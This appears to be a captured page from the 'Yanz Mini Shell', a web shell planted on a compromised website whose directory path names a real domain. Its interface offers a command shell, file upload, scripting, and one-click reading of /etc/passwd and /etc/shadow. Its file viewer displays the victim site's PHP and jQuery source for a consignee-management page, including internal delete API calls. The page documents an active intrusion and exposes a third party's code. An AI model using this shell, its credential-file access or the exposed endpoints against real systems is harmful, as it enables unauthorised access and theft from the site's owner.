Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
select2
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php require_once('header.php'); ?> <script type="text/javascript" language="javascript" > /*$(document).ready(function() { $('#select_all').on('click',function(){ if(this.checked){ $('.checkbox').each(function(){ this.checked = true; }); }else{ $('.checkbox').each(function(){ this.checked = false; }); } }); $('.checkbox').on('click',function(){ if($('.checkbox:checked').length == $('.checkbox').length){ $('#select_all').prop('checked',true); }else{ $('#select_all').prop('checked',false); } }); function getData(){ var cid=$('#excel_client_id').val(); var role= $('#role').val(); var role_id= $('#role_id').val(); var branch_id= $('#branch_id').val(); var dataTable = $('#employee-grid').DataTable( { "processing": true, "serverSide": true, "destroy":true, "ajax":{ url :"data-tables/customer_dt.php", // json datasource data: {cid:cid,role:role,role_id:role_id,branch_id:branch_id}, type: "post", // method , by default get error: function(){ // error handling $(".employee-grid-error").html(""); $("#employee-grid").append('<tbody class="employee-grid-error"><tr><th colspan="3">No data found in the server</th></tr></tbody>'); $("#employee-grid_processing").css("display","none"); } } } ); } getData(); $('#btnconvert').click(function(){ getData(); } ); $('#btnconvert').click(function(){ var checkValues = $('input[name=checkboxlist]:checked').map(function() { return $(this).val(); }).get(); if(checkValues!=""){ //alert(checkValues); $.ajax({ url: 'customer-convert.php', type: 'post', data: {customer_ids:checkValues}, success:function(response){ console.log("convert ids:"+response); getData(); } }); } else{ alert('No Value Selected'); } getData(); }); } );*/ </script> <section class="content-header"> <div class='box-body' style="margin: 0px 0px;box-shadow: rgba(0, 0, 0, 0.19) 0px 10px 20px, rgba(0, 0, 0, 0.23) 0px 6px 6px;background-color: white;"> <div class="row"> <div class="col-md-4" style="text-align: left;"> <h4><i class="fa fa-list"></i> Consignee Details</h4> </div> <div class="col-md-8" style="text-align: right;"> <a href="customer-add.php" class="btn btn-success btn-sm" style="cursor: pointer;"><i class="fa fa-plus"></i> Add Consignee</a> <a href="customer_bulk_upload.php" class="btn btn-warning btn-sm"><i class="fa fa-upload"></i> Bulk Upload</a> </div> </div> <form action="excel/excel-customer.php" method="POST" hidden> <div class="row"> <div class="col-md-3 col-sm-12"> <label for="to">Select Branch:</label> <select class="form-control" name="branch_id" id="branch_id"> </select> </div> <div class="col-md-3 col-sm-12"> <label for="to">Select Client:</label> <select class="form-control" name="client_id" id="client_id"> </select> </div> </div> </form> </div> </section> <section class="content-header"> <div class='box-body' style="margin: 0px 0px;box-shadow: rgba(0, 0, 0, 0.19) 0px 10px 20px, rgba(0, 0, 0, 0.23) 0px 6px 6px;background-color: white;"> <div class="box-body table-responsive"> <div class="table-responsive"> <table id="employee-grid" class="table table-bordered table-striped"> <thead> <tr> <th width="30">SL</th> <th>Action</th> <th>Status</th> <th>Name</th> <th>Code</th> <th>City</th> <th>Pincode</th> <th>Address</th> <th>Destination City</th> </tr> </thead> </table> </div> <!--<center><button id='btnconvert' class=" btn btn-warning btn-sm"><i class="fa fa-download" aria-hidden="true"></i> Converted to Regular Customer</button></center><br>--> </div> </div> </section> <div class="modal fade" id="confirm-delete" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h4 class="modal-title" id="myModalLabel">Delete Confirmation</h4> </div> <div class="modal-body"> <p>Are you sure want to delete this item?</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button> <a class="btn btn-danger btn-ok">Delete</a> </div> </div> </div> </div> <script> $(document).ready(function() { getData(); }); function getData() { var dataTable = $('#employee-grid').DataTable( { "processing": true, "serverSide": true, "bDestroy": true, "aaSorting":[[0,'desc']], "ajax":{ url :"data-tables/customer_dt.php", data: {customer_type:1}, type: "post", error: function(){ $(".employee-grid-error").html(""); $("#employee-grid").append('<tbody class="employee-grid-error"><tr><th colspan="3">No data found in the server</th></tr></tbody>'); $("#employee-grid_processing").css("display","none"); } } }); } function delete_Details(id){ var result = confirm("Confirm Want to In-Active This Customer?"); if (result) { $.ajax({ type: 'POST', url: 'apis/delete.php', data: {type:'soft_delete',delete_id:id, table: 'tbl_customer'}, success: function(response) { console.log(response); getData(); } }); } } function DynamicActive(id){ var result = confirm("Confirm Want to Active This Customer?"); if (result) { $.ajax({ type: 'POST', url: 'apis/delete.php', data: {type:'dynamic_active',delete_id:id, table:'tbl_customer'}, success: function(response) { console.log(response); getData(); } }); } } </script> <?php require_once('footer.php'); ?>
Free Space : 11940323328 Byte